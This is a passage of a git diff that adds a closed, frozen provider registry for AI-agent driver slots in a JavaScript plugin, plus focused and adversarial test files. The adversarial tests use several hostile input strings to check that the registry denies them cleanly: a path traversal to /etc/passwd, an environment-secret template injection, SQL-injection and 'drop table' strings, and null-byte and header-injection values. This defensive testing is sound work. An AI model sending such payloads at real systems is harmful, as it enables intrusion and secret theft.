[GROK_PROVIDER_SLOT]: registryEntry( + GROK_PROVIDER_SLOT, + GROK_ACP_DRIVER_SCHEMA_ID, + 'bindGrokAcpDriverV1', + 'transport_property', + grammarModel(), + detachData(describeGrokAcpAdapterSurfaceV1()), + ), + [CURSOR_LOCAL_PROVIDER]: registryEntry( + CURSOR_LOCAL_PROVIDER, + CURSOR_LOCAL_DRIVER_SCHEMA_ID, + 'createCursorLocalDriverV1', + 'options_bag', + localModelGrammar(), + detachData(describeCursorLocalDriverV1()), + ), + [CURSOR_CLOUD_PROVIDER_SLOT]: registryEntry( + CURSOR_CLOUD_PROVIDER_SLOT, + CURSOR_CLOUD_DRIVER_SCHEMA_ID, + 'bindCursorCloudDriverV1', + 'transport_property', + grammarModel(), + detachData(describeCursorCloudDriverV1()), + ), + [DSH_PROVIDER]: registryEntry( + DSH_PROVIDER, + DSH_ACPX_DRIVER_SCHEMA_ID, + 'createDshApxDriverV1', + 'options_bag', + closedListModel(DSH_ALLOWED_MODELS), + detachData(describeDshApxDriverV1()), + ), +}); + +// The one exact accepted factory per slot. Lookups happen only after the +// closed-slot gate, so no hostile string ever becomes a property lookup. +const PRIVATE_COMPOSERS = capturedFreeze({ + [GROK_PROVIDER_SLOT]: bindGrokAcpDriverV1, + [CURSOR_LOCAL_PROVIDER]: createCursorLocalDriverV1, + [CURSOR_CLOUD_PROVIDER_SLOT]: bindCursorCloudDriverV1, + [DSH_PROVIDER]: createDshApxDriverV1, +}); + +// P22 is inventory, never composition: mock/conformance evidence only. +const FUTURE_HARNESS_SECTION = capturedFreeze({ + surface: 'conformance_evidence', + provider_slot: null, + composable: false, + template_schema_id: FUTURE_HARNESS_TEMPLATE_SCHEMA_ID, + conformance_schema_id: FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID, + live_transport_qualification: false, + modules: capturedFreeze([ + 'provider-driver-template.mjs', + 'future-harness.mjs', + 'provider-driver-conformance.mjs', + ]), +}); + +const NONCLAIMS = capturedFreeze({ + ambient_discovery: false, + filesystem: false, + environment: false, + path_lookup: false, + network: false, + process_spawn: false, + dynamic_import: false, + clock_or_random_source: false, + fallback: false, + replay: false, + retry: false, + provider_substitution: false, + fifth_provider: false, + supervisor_cutover: false, + server_cutover: false, + durable_store: false, + scheduler: false, + live_transport_qualification: false, + merge_authority: false, + create_pr: false, + direct_mode: false, + version_change: false, +}); + +export function registrySlotsV1() { + return knownProvidersList(); +} + +export function isRegistrySlotV1(provider) { + return typeof provider === 'string' && capturedIncludes(PROVIDER_REGISTRY_SLOTS, provider); +} + +export function requireRegistrySlotV1(provider) { + if (!isRegistrySlotV1(provider)) { + fail('unknown_provider', REGISTRY_PROVIDER_PATH, + `${REGISTRY_PROVIDER_PATH} must be an exact registered provider slot: ` + + `${knownProvidersJoined()}.`); + } + return provider; +} + +export function registryEntryV1(provider) { + requireRegistrySlotV1(provider); + return PRIVATE_ENTRIES[provider]; +} + +export function registryComposeFunctionV1(provider) { + requireRegistrySlotV1(provider); + return PRIVATE_COMPOSERS[provider]; +} + +export function describeProviderRegistryV1() { + const entries = capturedCreate(null); + for (const slot of PROVIDER_REGISTRY_SLOTS) { + entries[slot] = PRIVATE_ENTRIES[slot]; + } + return freezeData({ + schema: PROVIDER_REGISTRY_SCHEMA_ID, + version: PROVIDER_REGISTRY_VERSION, + selection_rule: REGISTRY_SELECTION_RULE, + deterministic_selection: true, + slots: [...PROVIDER_REGISTRY_SLOTS], + entries, + future_harness: FUTURE_HARNESS_SECTION, + nonclaims: NONCLAIMS, + }); +} + +// Deterministic pure selection: maps an exact {provider, model} pair onto +// the one closed registry entry without constructing anything. The model +// rule is quoted per slot; where the accepted adapter owns a closed model +// list (dsh) the registry enforces membership against the accepted frozen +// constant, and where it owns a grammar the adapter stays the sole model +// authority. Nothing here widens either vocabulary. +export function resolveRegistrySelectionV1(selection) { + const path = REGISTRY_SELECTION_PATH; + if (selection === undefined || selection === null + || (typeof selection !== 'object' && typeof selection !== 'function')) { + fail('invalid_type', path, `${path} must be a plain selection record.`); + } + assertNotProxy(selection, path); + if (!isPlainObject(selection)) { + fail('invalid_type', path, `${path} must be a plain selection record.`); + } + let ownKeys; + try { + ownKeys = capturedOwnKeys(selection); + } catch { + fail('invalid_type', path, `${path} keys could not be inspected safely.`); + } + for (const key of ownKeys) { + if (typeof key === 'symbol') { + fail('symbol_key_denied', `${path}[symbol]`, + `${path}[symbol] carries a symbol-keyed property; selections are direct data only.`); + } + } + for (const key of ownKeys) { + const descriptor = capturedDescriptor(selection, key); + if (!descriptor || !descriptor.enumerable) { + fail('non_enumerable_property_denied', path, + `${path} carries a non-enumerable own property; selections are plain data.`); + } + } + for (const key of Object.keys(selection)) { + if (key !== 'provider' && key !== 'model') { + fail('unknown_key', path, `${path} carries a key outside the closed selection vocabulary.`); + } + } + for (const key of ['provider', 'model']) { + if (!hasOwn(selection, key)) { + fail('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + } + const providerDescriptor = capturedDescriptor(selection, 'provider'); + if (providerDescriptor.get !== undefined || providerDescriptor.set !== undefined) { + fail('accessor_property_denied', `${path}.provider`, + `${path}.provider is an accessor property; selections are direct data only.`); + } + const modelDescriptor = capturedDescriptor(selection, 'model'); + if (modelDescriptor.get !== undefined || modelDescriptor.set !== undefined) { + fail('accessor_property_denied', `${path}.model`, + `${path}.model is an accessor property; selections are direct data only.`); + } + const provider = requireRegistrySlotV1(providerDescriptor.value); + const model = modelDescriptor.value; + if (typeof model !== 'string') { + fail('invalid_model', `${path}.model`, `${path}.model must be the exact selected model identifier.`); + } + const entry = PRIVATE_ENTRIES[provider]; + if (entry.models.rule === 'closed_list' && !capturedIncludes(entry.models.values, model)) { + fail('unknown_model', `${path}.model`, + `${path}.model is not part of the closed ${provider} model vocabulary.`); + } + return freezeData({ + schema: REGISTRY_SELECTION_SCHEMA_ID, + version: PROVIDER_REGISTRY_VERSION, + selection_rule: REGISTRY_SELECTION_RULE, + deterministic: true, + provider, + model, + adapter_schema_id: entry.adapter_schema_id, + compose_function_name: entry.compose_function_name, + model_rule: entry.models.rule, + }); +} + +// Composition seam. Provider gating happens before any option byte is +// inspected; options are quarantined content-free (no getter, setter, +// proxy trap, or caller code ever runs); the accepted factory's return +// value is passed through untouched. +export function composeProviderDriverV1(provider, options) { + const slot = requireRegistrySlotV1(provider); + const path = REGISTRY_OPTION_PATH; + if (options === undefined || options === null + || (typeof options !== 'object' && typeof options !== 'function')) { + fail('invalid_type', path, `${path} must be a plain options record.`); + } + assertNotProxy(options, path); + if (!isPlainObject(options)) { + fail('invalid_type', path, `${path} must be a plain options record.`); + } + let ownKeys; + try { + ownKeys = capturedOwnKeys(options); + } catch { + fail('invalid_type', path, `${path} keys could not be inspected safely.`); + } + for (const key of ownKeys) { + if (typeof key === 'symbol') { + fail('symbol_key_denied', `${path}[symbol]`, + `${path}[symbol] carries a symbol-keyed property; options are direct data only.`); + } + } + for (const key of ownKeys) { + const descriptor = capturedDescriptor(options, key); + if (!descriptor || !descriptor.enumerable) { + fail('non_enumerable_property_denied', path, + `${path} carries a non-enumerable own property; options are plain data.`); + } + } + if (PRIVATE_ENTRIES[slot].option_contract.mode !== 'transport_property') { + // The accepted factory owns this bag's full closed vocabulary and + // already quarantines proxies, accessors, symbols, unknown keys, and + // exotic prototypes; the registry forwards it without reinterpretation. + return PRIVATE_COMPOSERS[slot](options); + } + for (const key of Object.keys(options)) { + if (key !== 'transport') { + fail('unknown_key', path, `${path} carries a key outside the closed registry vocabulary.`); + } + } + if (!hasOwn(options, 'transport')) { + fail('missing_key', `${path}.transport`, + `${path}.transport is required; the registry inherits no hidden transport default.`); + } + const descriptor = capturedDescriptor(options, 'transport'); + if (descriptor.get !== undefined || descriptor.set !== undefined) { + fail('accessor_property_denied', `${path}.transport`, + `${path}.transport is an accessor property; transports are concrete method objects only.`); + } + return PRIVATE_COMPOSERS[slot](descriptor.value); +} + +capturedFreeze(detachData); +capturedFreeze(registrySlotsV1); +capturedFreeze(isRegistrySlotV1); +capturedFreeze(requireRegistrySlotV1); +capturedFreeze(registryEntryV1); +capturedFreeze(registryComposeFunctionV1); +capturedFreeze(describeProviderRegistryV1); +capturedFreeze(resolveRegistrySelectionV1); +capturedFreeze(composeProviderDriverV1); diff --git a/plugins/codex-co-engineer/test/r1-provider-registry-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-provider-registry-adversarial.test.mjs new file mode 100644 index 0000000..3e43d72 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-provider-registry-adversarial.test.mjs @@ -0,0 +1,273 @@ +// P23 provider registry — adversarial coverage. Hostile providers, +// selections, and options must fail closed, content-free, and without +// running any caller code; inventory must stay deterministic and frozen +// under prior hostility; P22 must never become composable. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { createCursorLocalTransportStub } from './fixtures/r1-cursor-local-transport.mjs'; +import { fakeDshTransport } from './fixtures/r1-dsh-acpx-fixtures.mjs'; +import { + PROVIDER_REGISTRY_SLOTS, + composeProviderDriverV1, + describeProviderRegistryV1, + isRegistrySlotV1, + registryEntryV1, + registrySlotsV1, + requireRegistrySlotV1, + resolveRegistrySelectionV1, +} from '../mcp/v3/provider-registry.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; + +const PRISTINE_DESCRIPTION = describeProviderRegistryV1(); + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error + && (code === undefined || error.code === code), message); +} + +test('accessor options never run their getters for any provider decision', () => { + let transportRuns = 0; + let decoyRuns = 0; + const bag = {}; + Object.defineProperty(bag, 'transport', { + enumerable: true, + get() { + transportRuns += 1; + return {}; + }, + }); + Object.defineProperty(bag, 'decoy', { + enumerable: true, + get() { + decoyRuns += 1; + return {}; + }, + }); + expectCode(() => composeProviderDriverV1('grok', bag), 'unknown_key', + 'the closed transport_property bag rejects foreign keys before descriptors are read'); + expectCode(() => resolveRegistrySelectionV1({ + provider: 'dsh', + model: 'stealth/ox-alpha', + get extra() { + throw new Error('getter must not run'); + }, + }), 'unknown_key'); + assert.equal(transportRuns, 0); + assert.equal(decoyRuns, 0); +}); + +test('accessor transports are refused without invoking the accessor', () => { + let runs = 0; + const bag = {}; + Object.defineProperty(bag, 'transport', { + enumerable: true, + get() { + runs += 1; + return {}; + }, + }); + for (const slot of ['grok', 'cursor-cloud']) { + expectCode(() => composeProviderDriverV1(slot, bag), 'accessor_property_denied'); + } + assert.equal(runs, 0); +}); + +test('proxies, exotic prototypes, arrays, primitives, and functions are denied', () => { + const exotic = Object.assign(Object.create({ inherited() {} }), { transport: {} }); + const hostileBags = [ + new Proxy({ transport: {} }, {}), + exotic, + [], + [1, 2], + 'transport', + 7, + true, + () => {}, + Symbol('x'), + 10n, + ]; + for (const slot of ['grok', 'cursor-cloud', 'dsh', 'cursor-local']) { + for (const bag of hostileBags) { + assert.throws(() => composeProviderDriverV1(slot, bag), + (error) => error instanceof RunContractV1Error, + `${slot} must reject the hostile bag with a typed denial`); + } + for (const absent of [null, undefined]) { + expectCode(() => composeProviderDriverV1(slot, absent), 'invalid_type', + `${slot} requires an options record`); + } + } +}); + +test('missing, non-enumerable, and symbol-keyed transports fail closed per slot', () => { + expectCode(() => composeProviderDriverV1('grok', {}), 'missing_key'); + expectCode(() => composeProviderDriverV1('cursor-cloud', {}), 'missing_key'); + const hidden = {}; + Object.defineProperty(hidden, 'transport', { enumerable: false, value: {} }); + expectCode(() => composeProviderDriverV1('grok', hidden), 'non_enumerable_property_denied'); + const symboled = { transport: {} }; + symboled[Symbol('hidden')] = 1; + expectCode(() => composeProviderDriverV1('cursor-cloud', symboled), 'symbol_key_denied'); + expectCode(() => composeProviderDriverV1('dsh', symboled), 'symbol_key_denied'); + expectCode(() => composeProviderDriverV1('cursor-local', symboled), 'symbol_key_denied'); +}); + +test('options_bag slots forward faithfully so accepted factories keep denying', () => { + // The registry adds no reinterpretation: adapter denials surface verbatim. + let getterRuns = 0; + const accessorBag = { + get workspace_mode() { + getterRuns += 1; + return 'managed'; + }, + transport: fakeDshTransport().port, + }; + expectCode(() => composeProviderDriverV1('dsh', accessorBag), + 'invalid_object', 'the DSH factory owns its own option closure'); + assert.equal(getterRuns, 0, 'registry forwarding itself never reads values'); + expectCode(() => composeProviderDriverV1('dsh', new Proxy({ + transport: fakeDshTransport().port, + workspace_mode: 'managed', + }, {})), 'proxy_denied'); + expectCode(() => composeProviderDriverV1('cursor-local', new Proxy({}, {})), 'proxy_denied'); + expectCode(() => composeProviderDriverV1('cursor-local', Object.create({ + inherited() {}, + }, { transport: { value: createCursorLocalTransportStub('happy').transport, enumerable: true } })), + 'invalid_type'); +}); + +test('hostile provider strings never reach codes, paths, or messages', () => { + const payloads = [ + '', + '${process.env.API_KEY}', + '../../etc/passwd', + 'grok\x00admin', + 'A'.repeat(5000), + '🦛'.repeat(300), + 'grok"or"1"="1', + 'cursor-local\nHTTP/1.1', + ]; + for (const payload of payloads) { + try { + requireRegistrySlotV1(payload); + assert.fail('expected typed denial'); + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + assert.notEqual(error.code, payload); + assert.ok(!error.code.includes(payload) && !error.path.includes(payload) + && !error.message.includes(payload), 'content-free denial required'); + } + expectCode(() => resolveRegistrySelectionV1({ provider: payload, model: 'm' }), + 'unknown_provider'); + expectCode(() => composeProviderDriverV1(payload, { transport: {} }), 'unknown_provider'); + } +}); + +test('prototype members and forged keys can never resolve as slots or entries', () => { + for (const forged of [ + 'toString', 'constructor', 'hasOwnProperty', 'isPrototypeOf', '__proto__', + 'propertyIsEnumerable', 'toLocaleString', 'valueOf', + ]) { + assert.equal(isRegistrySlotV1(forged), false); + expectCode(() => requireRegistrySlotV1(forged), 'unknown_provider'); + expectCode(() => registryEntryV1(forged), 'unknown_provider'); + expectCode(() => composeProviderDriverV1(forged, { transport: {} }), 'unknown_provider'); + } +}); + +test('selection records reject proxies, accessors, symbols, sparse arrays, and cycles', () => { + let getterRuns = 0; + const accessorSelection = {}; + Object.defineProperty(accessorSelection, 'provider', { + enumerable: true, + get() { + getterRuns += 1; + return 'dsh'; + }, + }); + accessorSelection.model = 'stealth/ox-alpha'; + expectCode(() => resolveRegistrySelectionV1(accessorSelection), 'accessor_property_denied'); + assert.equal(getterRuns, 0); + + expectCode(() => resolveRegistrySelectionV1(new Proxy({ + provider: 'dsh', model: 'm', + }, {})), 'proxy_denied'); + + const symboled = { provider: 'dsh', model: 'm' }; + symboled[Symbol('extra')] = 1; + expectCode(() => resolveRegistrySelectionV1(symboled), 'symbol_key_denied'); + + const sparse = []; + sparse[3] = 'x'; + expectCode(() => resolveRegistrySelectionV1(sparse), 'invalid_type'); + + const forgedProto = { provider: 'dsh', model: 'm' }; + Object.defineProperty(forgedProto, '__proto__', { value: {}, enumerable: true }); + expectCode(() => resolveRegistrySelectionV1(forgedProto), 'unknown_key'); + + const cyclic = { model: 'm' }; + cyclic.provider = cyclic; + expectCode(() => resolveRegistrySelectionV1(cyclic), 'unknown_provider', + 'a cyclic alias is not a closed slot and never walks values'); +}); + +test('exported snapshots are frozen and detached from gating authority', () => { + assert.ok(Object.isFrozen(PROVIDER_REGISTRY_SLOTS)); + assert.throws(() => PROVIDER_REGISTRY_SLOTS.push('future-harness'), TypeError); + const slotsCopy = registrySlotsV1(); + assert.ok(Object.isFrozen(slotsCopy)); + assert.throws(() => slotsCopy.push('x'), TypeError); + // Mutating a returned entry fails and cannot poison later lookups. + const entry = registryEntryV1('grok'); + assert.throws(() => { + entry.adapter_schema_id = 'codex-co-engineer.evil.v1'; + }, TypeError); + assert.equal(registryEntryV1('grok').adapter_schema_id, + PRISTINE_DESCRIPTION.entries.grok.adapter_schema_id); +}); + +test('inventory stays deterministic after a gauntlet of hostile failures', () => { + for (const hostile of ['nope', 42, null]) { + try { + composeProviderDriverV1(hostile, undefined); + } catch { + // expected typed denials; ignore which code fired + } + try { + composeProviderDriverV1('grok', new Proxy({}, {})); + } catch { + // expected + } + try { + resolveRegistrySelectionV1({ provider: 'dsh', model: Symbol('x') }); + } catch { + // expected + } + } + assert.deepEqual(describeProviderRegistryV1(), PRISTINE_DESCRIPTION, + 'failed hostilities must leave the closed inventory byte-identical'); +}); + +test('the P22 template surface can never be selected or composed as a provider', () => { + for (const pseudo of [ + 'future-harness', 'future_harness', 'template', 'conformance', 'harness', + 'codex-co-engineer.future-harness-template.v1', + ]) { + expectCode(() => requireRegistrySlotV1(pseudo), 'unknown_provider'); + expectCode(() => composeProviderDriverV1(pseudo, { identity: {}, declaration: {} }), + 'unknown_provider'); + expectCode(() => resolveRegistrySelectionV1({ provider: pseudo, model: 'm' }), + 'unknown_provider'); + } + const description = describeProviderRegistryV1(); + assert.deepEqual([...description.slots], [...PRISTINE_DESCRIPTION.slots]); +}); + +test('registry exports are frozen function surfaces', () => { + assert.ok(Object.isFrozen(composeProviderDriverV1)); + assert.ok(Object.isFrozen(describeProviderRegistryV1)); + assert.ok(Object.isFrozen(resolveRegistrySelectionV1)); + assert.ok(Object.isFrozen(requireRegistrySlotV1)); +}); diff --git a/plugins/codex-co-engineer/test/r1-provider-registry.test.mjs b/plugins/codex-co-engineer/test/r1-provider-registry.test.mjs new file mode 100644 index 0000000..9ea19e2 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-provider-registry.test.mjs @@ -0,0 +1,403 @@ +// P23 provider registry — focused coverage of the closed deterministic +// composition authority: slot vocabulary, drift-free inventory, exact +// accepted factory identity, selection mapping, and per-slot composition +// through the one accepted adapter factory. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + CURSOR_CLOUD_PROVIDER_SLOT, + bindCursorCloudDriverV1, + describeCursorCloudDriverV1, + inspectCursorCloudLaneEvidenceV1, +} from '../mcp/v3/cursor-cloud-driver.mjs'; +import { + CURSOR_LOCAL_PROVIDER, + createCursorLocalDriverV1, + describeCursorLocalDriverV1, +} from '../mcp/v3/cursor-local-driver.mjs'; +import { + DSH_ALLOWED_MODELS, + DSH_PROVIDER, + createDshApxDriverV1, + describeDshApxDriverV1, +} from '../mcp/v3/dsh-acpx-driver.mjs'; +import { + GROK_PROVIDER_SLOT, + bindGrokAcpDriverV1, + describeGrokAcpAdapterSurfaceV1, + inspectGrokAcpLaneEvidenceV1, +} from '../mcp/v3/grok-acp-driver.mjs'; +import { knownProvidersJoined, knownProvidersList, modelIdGrammarSource } from '../mcp/v3/grammar.mjs'; +import { + PROVIDER_REGISTRY_SCHEMA_ID, + PROVIDER_REGISTRY_SLOTS, + REGISTRY_SELECTION_RULE, + composeProviderDriverV1, + describeProviderRegistryV1, + isRegistrySlotV1, + registryComposeFunctionV1, + registryEntryV1, + registrySlotsV1, + requireRegistrySlotV1, + resolveRegistrySelectionV1, +} from '../mcp/v3/provider-registry.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + buildCursorLocalFixtureV1, + createCursorLocalTransportStub, + cursorLocalDeclaration, +} from './fixtures/r1-cursor-local-transport.mjs'; +import { dispatchLane, dshEnvelope, fakeDshTransport } from './fixtures/r1-dsh-acpx-fixtures.mjs'; +import { + buildGrokDriverFixtureV1, + createScriptedGrokAcpTransportV1, + grokAcpCallsOf, +} from './fixtures/r1-grok-acp-transport.mjs'; +import { + buildCursorCloudDriverFixtureV1, + createScriptedCursorCloudTransportV1, + cursorCloudCallsOf, +} from './fixtures/r1-cursor-cloud-driver-fixtures.mjs'; + +const GROK_FIXTURE = buildGrokDriverFixtureV1(); +const CLOUD_FIXTURE = buildCursorCloudDriverFixtureV1(); +const LOCAL_FIXTURE = buildCursorLocalFixtureV1(); +const DSH_FIXTURE = dshEnvelope('stealth/ox-alpha'); + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error + && (code === undefined || error.code === code), message); +} + +function grokRequest(operation, extras = {}) { + return { + schema: `codex-co-engineer.driver-${operation}.v1`, + version: 1, + envelope_text: GROK_FIXTURE.envelope_text, + child_envelope_digest: GROK_FIXTURE.child_envelope_digest, + ...extras, + }; +} + +function cloudRequest(operation, extras = {}) { + return { + schema: `codex-co-engineer.driver-${operation}.v1`, + version: 1, + envelope_text: CLOUD_FIXTURE.envelope_text, + child_envelope_digest: CLOUD_FIXTURE.child_envelope_digest, + ...extras, + }; +} + +test('the registry registers exactly the four accepted slots in frozen grammar order', () => { + assert.deepEqual([...PROVIDER_REGISTRY_SLOTS], ['grok', 'cursor-local', 'cursor-cloud', 'dsh']); + assert.deepEqual([...PROVIDER_REGISTRY_SLOTS], [...knownProvidersList()]); + assert.deepEqual([...registrySlotsV1()], [...knownProvidersList()]); + assert.ok(Object.isFrozen(PROVIDER_REGISTRY_SLOTS)); + for (const slot of PROVIDER_REGISTRY_SLOTS) { + assert.equal(isRegistrySlotV1(slot), true, slot); + assert.equal(requireRegistrySlotV1(slot), slot); + } + const description = describeProviderRegistryV1(); + assert.equal(description.schema, PROVIDER_REGISTRY_SCHEMA_ID); + assert.equal(description.version, 1); + assert.equal(description.selection_rule, REGISTRY_SELECTION_RULE); + assert.equal(description.deterministic_selection, true); + assert.deepEqual([...description.slots], ['grok', 'cursor-local', 'cursor-cloud', 'dsh']); +}); + +test('inventory entries quote the accepted adapter surfaces without drift', () => { + const expectedSurfaces = new Map([ + ['grok', describeGrokAcpAdapterSurfaceV1()], + ['cursor-local', describeCursorLocalDriverV1()], + ['cursor-cloud', describeCursorCloudDriverV1()], + ['dsh', describeDshApxDriverV1()], + ]); + const expectedSchemaIds = new Map([ + ['grok', 'codex-co-engineer.grok-acp-driver.v1'], + ['cursor-local', 'codex-co-engineer.cursor-local-driver.v1'], + ['cursor-cloud', 'codex-co-engineer.cursor-cloud-driver.v1'], + ['dsh', 'codex-co-engineer.dsh-acpx-driver.v1'], + ]); + const expectedComposeNames = new Map([ + ['grok', 'bindGrokAcpDriverV1'], + ['cursor-local', 'createCursorLocalDriverV1'], + ['cursor-cloud', 'bindCursorCloudDriverV1'], + ['dsh', 'createDshApxDriverV1'], + ]); + for (const slot of PROVIDER_REGISTRY_SLOTS) { + const entry = registryEntryV1(slot); + assert.equal(entry.schema, PROVIDER_REGISTRY_SCHEMA_ID); + assert.equal(entry.provider, slot); + assert.equal(entry.adapter_schema_id, expectedSchemaIds.get(slot)); + assert.equal(entry.compose_function_name, expectedComposeNames.get(slot)); + assert.deepEqual(entry.adapter_surface, expectedSurfaces.get(slot)); + assert.ok(Object.isFrozen(entry)); + assert.ok(Object.isFrozen(entry.adapter_surface)); + assert.ok(Object.isFrozen(entry.option_contract)); + } + assert.equal(registryEntryV1('grok').option_contract.mode, 'transport_property'); + assert.equal(registryEntryV1('cursor-cloud').option_contract.mode, 'transport_property'); + assert.equal(registryEntryV1('cursor-local').option_contract.mode, 'options_bag'); + assert.equal(registryEntryV1('dsh').option_contract.mode, 'options_bag'); + assert.deepEqual( + [...registryEntryV1('grok').option_contract.registry_required_keys], ['transport']); + assert.deepEqual( + [...registryEntryV1('cursor-cloud').option_contract.registry_required_keys], ['transport']); + assert.deepEqual( + [...registryEntryV1('cursor-local').option_contract.registry_required_keys], []); + assert.deepEqual([...registryEntryV1('dsh').option_contract.registry_required_keys], []); +}); + +test('model vocabularies stay owned by the accepted adapters and never widen', () => { + assert.equal(registryEntryV1('dsh').models.rule, 'closed_list'); + assert.deepEqual([...registryEntryV1('dsh').models.values], [...DSH_ALLOWED_MODELS]); + for (const slot of ['grok', 'cursor-cloud']) { + assert.equal(registryEntryV1(slot).models.rule, 'adapter_model_grammar'); + assert.equal(registryEntryV1(slot).models.grammar_source, modelIdGrammarSource()); + } + assert.equal(registryEntryV1('cursor-local').models.rule, 'adapter_model_grammar'); + assert.equal(registryEntryV1('cursor-local').models.grammar_source, '^[A-Za-z0-9][A-Za-z0-9._/-]{0,127}$'); +}); + +test('descriptions are deterministic, deeply frozen, and detached from callers', () => { + const first = describeProviderRegistryV1(); + const second = describeProviderRegistryV1(); + assert.deepEqual(first, second); + assert.ok(Object.isFrozen(first)); + assert.ok(Object.isFrozen(first.entries)); + assert.equal(Object.getPrototypeOf(first.entries), null); + for (const slot of first.slots) { + assert.ok(Object.isFrozen(first.entries[slot])); + assert.ok(Object.isFrozen(first.entries[slot].models)); + } + assert.ok(Object.isFrozen(first.future_harness)); + assert.ok(Object.isFrozen(first.nonclaims)); + // Mutating a returned slots copy cannot reach registry authority. + const slots = registrySlotsV1(); + assert.throws(() => slots.push('future-harness'), TypeError); + assert.deepEqual([...describeProviderRegistryV1().slots], [...first.slots]); +}); + +test('the P22 future harness stays conformance evidence and never a fifth slot', () => { + const description = describeProviderRegistryV1(); + assert.equal(isRegistrySlotV1('future-harness'), false); + assert.equal(description.future_harness.surface, 'conformance_evidence'); + assert.equal(description.future_harness.provider_slot, null); + assert.equal(description.future_harness.composable, false); + assert.equal(description.future_harness.live_transport_qualification, false); + assert.equal(description.future_harness.template_schema_id, + 'codex-co-engineer.future-harness-template.v1'); + assert.equal(description.future_harness.conformance_schema_id, + 'codex-co-engineer.future-harness-conformance.v1'); +}); + +test('every nonclaim is explicit and false', () => { + const nonclaims = describeProviderRegistryV1().nonclaims; + for (const key of Object.keys(nonclaims)) { + assert.equal(nonclaims[key], false, key); + } + for (const key of [ + 'ambient_discovery', 'fallback', 'replay', 'provider_substitution', 'fifth_provider', + 'supervisor_cutover', 'live_transport_qualification', 'dynamic_import', + ]) { + assert.ok(Object.hasOwn(nonclaims, key), key); + } +}); + +test('slot gating fails closed and content-free on near misses', () => { + for (const hostile of [ + '', ' ', 'cursor', 'cursors-local', 'cursor-LocaL', 'grok ', ' grok', 'dshx', 'GROK', + 'Dsh', 'cursor_cloud', 'future-harness', 'template', 'provider/registry', + 'grok;drop table users', 'grok\n', String.fromCharCode(0x0047, 0x0072, 0x066F, 0x06B8), + 'x'.repeat(4096), + ]) { + expectCode(() => requireRegistrySlotV1(hostile), 'unknown_provider', hostile); + assert.equal(isRegistrySlotV1(hostile), false); + try { + requireRegistrySlotV1(hostile); + assert.fail('expected typed denial'); + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + assert.equal(error.code, 'unknown_provider'); + // Hostile values stay out of the error surface unless they are a + // substring of the fixed closed-vocabulary listing itself. + const fixed = `provider_registry.provider must be an exact registered provider slot: ${knownProvidersJoined()}.`; + if (!fixed.includes(hostile)) { + assert.ok(!error.message.includes(hostile), 'hostile value must not leak'); + } + assert.equal(error.path, 'provider_registry.provider'); + } + } +}); + +test('non-string providers fail closed before any option byte is read', () => { + let getterRuns = 0; + const getterBomb = {}; + Object.defineProperty(getterBomb, 'transport', { + enumerable: true, + get() { + getterRuns += 1; + return {}; + }, + }); + for (const hostile of [123, null, undefined, true, Symbol('s'), 10n, + { transport: {} }, ['grok'], () => {}, getterBomb]) { + expectCode(() => composeProviderDriverV1(hostile, getterBomb), 'unknown_provider'); + } + assert.equal(getterRuns, 0, 'registry gating never runs caller code'); +}); + +test('registryComposeFunctionV1 exposes exactly the accepted factories', () => { + assert.equal(registryComposeFunctionV1('grok'), bindGrokAcpDriverV1); + assert.equal(registryComposeFunctionV1('cursor-local'), createCursorLocalDriverV1); + assert.equal(registryComposeFunctionV1('cursor-cloud'), bindCursorCloudDriverV1); + assert.equal(registryComposeFunctionV1('dsh'), createDshApxDriverV1); + for (const hostile of ['future-harness', 'toString', '__proto__', 'constructor']) { + expectCode(() => registryComposeFunctionV1(hostile), 'unknown_provider'); + expectCode(() => registryEntryV1(hostile), 'unknown_provider'); + } +}); + +test('resolveRegistrySelectionV1 maps exact pairs deterministically without constructing', () => { + const plan = resolveRegistrySelectionV1({ provider: 'dsh', model: 'stealth/ox-alpha' }); + assert.equal(plan.schema, 'codex-co-engineer.registry-selection.v1'); + assert.equal(plan.provider, 'dsh'); + assert.equal(plan.model, 'stealth/ox-alpha'); + assert.equal(plan.selection_rule, REGISTRY_SELECTION_RULE); + assert.equal(plan.deterministic, true); + assert.equal(plan.adapter_schema_id, 'codex-co-engineer.dsh-acpx-driver.v1'); + assert.equal(plan.compose_function_name, 'createDshApxDriverV1'); + assert.equal(plan.model_rule, 'closed_list'); + assert.ok(Object.isFrozen(plan)); + assert.deepEqual(resolveRegistrySelectionV1({ provider: 'dsh', model: 'stealth/ox-alpha' }), plan); + + const grammarPlan = resolveRegistrySelectionV1({ + provider: 'cursor-local', model: LOCAL_FIXTURE.model, + }); + assert.equal(grammarPlan.model_rule, 'adapter_model_grammar'); + assert.equal(grammarPlan.compose_function_name, 'createCursorLocalDriverV1'); + + expectCode(() => resolveRegistrySelectionV1({ + provider: 'dsh', model: 'not-a-dsh-model', + }), 'unknown_model', 'closed dsh model list is enforced against the accepted constant'); + expectCode(() => resolveRegistrySelectionV1({ + provider: 'dsh', model: 'muse-spark-1.2-contributor ', + }), 'unknown_model'); + expectCode(() => resolveRegistrySelectionV1({ provider: 'dsh' }), 'missing_key'); + expectCode(() => resolveRegistrySelectionV1({ model: 'm' }), 'missing_key'); + expectCode(() => resolveRegistrySelectionV1({ provider: 'dsh', model: 'm', extra: 1 }), + 'unknown_key'); + expectCode(() => resolveRegistrySelectionV1({ provider: 'dsh', model: 5 }), 'invalid_model'); +}); + +test('composition drives the accepted Grok lane end to end behind the registry', () => { + const transport = createScriptedGrokAcpTransportV1(); + const driver = composeProviderDriverV1('grok', { transport }); + const preflight = driver.preflight(grokRequest('preflight')); + assert.equal(preflight.disposition, 'ready'); + const launch = driver.launch(grokRequest('launch')); + assert.equal(launch.disposition, 'dispatched'); + assert.equal(launch.run_id, GROK_FIXTURE.run_id); + assert.equal(launch.assignment_id, GROK_FIXTURE.assignment_id); + assert.equal(launch.lane_index, GROK_FIXTURE.lane_index); + 